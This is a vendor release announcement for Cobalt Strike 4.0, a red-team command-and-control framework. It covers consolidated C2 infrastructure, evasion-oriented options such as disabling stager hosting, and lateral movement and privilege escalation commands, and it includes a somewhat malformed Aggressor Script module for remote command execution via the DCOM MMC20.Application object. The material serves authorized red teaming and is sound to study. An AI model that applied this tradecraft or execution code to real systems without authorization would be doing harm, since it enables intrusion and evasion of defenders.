Cobalt Strike 4.0 is now available. This release improves Cobalt Strike’s distributed operations model, revises post-exploitation workflows to drop some historical baggage, and adds “Bring Your Own Weaponization” workflows for privilege escalation and lateral movement.

A Vision for Red Team Server Consolidation

Cobalt Strike’s model for distributed operations (2013!) is to stand up a new server for each piece of engagement infrastructure. The Cobalt Strike client is multi-server aware and able to pass sessions between these servers and generate reports that uses all of their data.

The above model works well when the goal is to keep each piece of engagement infrastructure separate. For example, I continue to assert that the infrastructure you operate on should be very separate from the infrastructure any persistence calls home to. This separation minimizes the risk that an operator might task your persistent DNS Beacon to download and run mimikatz.

This model does break down when multiple servers are used to support post-exploitation and lateral movement. Each server is a silo with a subset of available credential and target information available to it. Further, each server is also an island with its own SMB and TCP Beacon meshes that other servers can’t control without hacks.

This problem set motivated a series of efforts, in Cobalt Strike 4.0, designed to make it practical to use a single team server to control multiple pieces of engagement infrastructure.

Cobalt Strike now supports multiple egress listeners. You can define multiple HTTP, HTTPS, and DNS Beacons on one team server. You can also stand up multiple TCP and SMB Beacon payload configurations on the same server as well.

Cobalt Strike now supports port bending, allowing you to bind redirectors to common ports (e.g., 80, 443, and 53) and pass traffic back to a listener bound to a different port.

Malleable C2 was extended with the concept of profile variants. A variant is one or more http-get, http-post, or http-stager blocks that are defined as a variation of the current profile file. You may pack multiple variants into a single profile. Each listener you stand up can have a different profile variant. [A demo of variants is at 16:44 in the video below]:

The listener management UX in Cobalt Strike underwent a much-needed overhaul to present these options in an approachable way.

The sessions table was also updated to show the egress listener for each Beacon in its own column. This is a small detail, but something I consider important when managing multiple egress paths through a single server. You need to know which channel is associated with each session so you can make post-ex decisions informed by the channel’s constraints (e.g., I wouldn’t try to egress a multi GB file over an HTTP GET-only C2 routed through a CDN).

The end result of this effort is you can now manage a lot of infrastructure through a single Cobalt Strike team server.

Revising the Toolset

In 2017’s Fighting the Toolset talk, I shared what I perceived as limitations in the Cobalt Strike product’s workflows and best practices to work around these limitations. It’s one of my favorite lectures about the product. Cobalt Strike 4.0 does a lot to update Cobalt Strike’s workflows to the Fighting the Toolset ideas.

This release greatly reduces Cobalt Strike’s use of PowerShell in its post-exploitation automation. The spawnas, spawnu, and elevate uac-token-duplication tools now spawn a temporary process and inject the specified payload into it. These commands use your spawnto value and process-inject configuration in your Malleable C2 profile.

Cobalt Strike 4.0 also removes payload stagers from Cobalt Strike’s post exploitation workflows. When you inject a payload or spawn a session, for post-ex purposes, Cobalt Strike will now pass the entire payload and skip the use of stagers altogether. This simplifies your attack chain and removes a nasty memory indicator when you take one of these actions. There’s another benefit too. Cobalt Strike has had an option to disable the hosting of payload stages since version 3.5.1. Setting the host_stage option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to survey team servers and analyze their payload data.

This release makes it natural to start from an x64 context and stay there. I very much recommend sticking to an x64 context on an x64 system. The Scripted Web Delivery tool was made stageless and expanded with an x64 option. Post-ex actions that spawn a payload (e.g., spawn, spawnas, elevate) will now match the architecture of their parent Beacon (e.g., an x64 session will spawn an x64 session) or give an explicit option. This release adds x64 lateral movement options too.

Finally, Cobalt Strike 4.0 introduces an internal inline-execute post-exploitation pattern. Inline-execute passes a capability to Beacon as needed, executes it inline, and cleans up the capability after it ran. This post-exploitation interface paves the way for future features that execute within Beacon’s process context without bloating the agent itself. Several post-exploitation features were ported over to this already (e.g., elevate uac-token-duplication, getsystem). Inline-execute is a path to reduce some of Cobalt Strike’s use of the fork&run pattern (where it makes sense) over time.

You might as well Jump

Once you open up the Beacon console, you’ll probably notice that the psexec, psexec_psh, winrm, and wmi commands for lateral movement are gone. These were removed and replaced with the jump command.

The jump command works similar to elevate. Type ‘jump’ by itself and you will get back a list of lateral movement modules. Use jump [module] [target] [listener] to spawn a session on a remote target.

Similar to elevate, you can add jump modules via Aggressor Script.

Bring Your Own Weaponization

The jump and elevate commands present an interesting conundrum. Some privilege escalation and lateral movement options present a natural path to spawn a session. For example, with psexec, it makes sense to copy an EXE to a share and create a service to run it. These steps use the same protocol. With WinRM, it’s possible to pass a large PowerShell script to load a payload in-memory on the far end. Similarly, with privilege escalation, some options yield a privileged context as a token or process handle that’s easy to immediately execute a payload from.

Not everything yields a clear weaponization path though. For example, Matt Nelson’s technique to execute a payload via DCOM is a great remote execute primitive. Turning this execute primitive into a session requires the capability developer to make a lot of decisions for the operator though. An offense trope, when given an execute primitive, is to use a PowerShell one-liner to spawn a session. The problem with these tropes is that the automation becomes the thing that’s “tested” and detected instead of the technique itself.

Pondering on the above led to Cobalt Strike 4.0’s “Bring Your Own Weaponization” (BYOW) approach to privilege escalation and lateral movement. The idea behind BYOW is to make the lateral movement and privilege escalation command execute-only primitives available through a common and extensible interface. This makes the execute primitive easy and quick to use, but gives the operator the choice on how to use it. For scripters, these interfaces are less intimidating to work with, as the scripter doesn’t have to implement a weaponization pattern when no single good option exists.

sub mmc20_exec_method { 
local('$script $command $args'); 

# state what we're doing. 
btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175"); 

# separate our command and arguments
 if ($3 ismatch '(.*?) (.*)') {
 ($command, $args) = matched();
 else {
 $command = $3; 
$args = ""; 

# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
 $script = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "'; 
$script .= $2; 
$script .= '")).Document.ActiveView.ExecuteShellCommand("'; 
$script .= $command; 
$script .= '", $null, "'; 
$script .= $args; 
$script .= '", "7");'; 
# run the script we built up 
bpowershell!($1, $script, "");

beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", 

runasadmin is the BYOW tool for privilege escalation. Type runasadmin, by itself, to see a list of command elevators registered with Cobalt Strike. Use runasadmin [module] [command+args] to execute the specified command in a privileged context. This gives you, the operator, choice on how to use the primitive. If you want to spawn a session by dropping an EXE to disk–you can do that. If you want to weaken the target in some way, that’s fair game too. Or, maybe, you want to use a PowerShell one-liner to spawn a session. You can still do that too. Right-click on your Beacon session, go to Access -> One-liner. This dialog will setup a [one time use only!] session-contained PowerShell one-liner (e.g., no remote connection is made) to execute a stageless payload via PowerShell when run.

remote-exec is the BYOW tool for lateral movement. Type remote-exec to see a list of remote execute modules registered with Cobalt Strike. Use remote-exec [module] [target] [command+args] to execute the specified command on a remote target. Similar to runasadmin, you have the choice on how to use these primitives. You can kick off an EXE, run a script artifact placed on target or a target-accessible share, or weaken the remote target in some way.

Red Team Operations with Cobalt Strike

This release also brings an updated and revised course on the Cobalt Strike product. The Red Team Operations with Cobalt Strike course is 11 hours(!) of material to explain the strategies and process this product is designed to support. The course is very heavy on tradecraft and evasion theory. If those topics are your thing, I recommend you check it out.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.0. Licensed users will want to download the Cobalt Strike 4.0 distribution package and run the update program to get the latest. [Note: the 3.14 updater will continue to deliver the 3.14 version. If you want 4.0, download the distribution package!]

If this release piques your interest in Cobalt Strike, contact us for a quote. Now that this 4.0 release is out, I promise I’ll respond faster [starting tomorrow].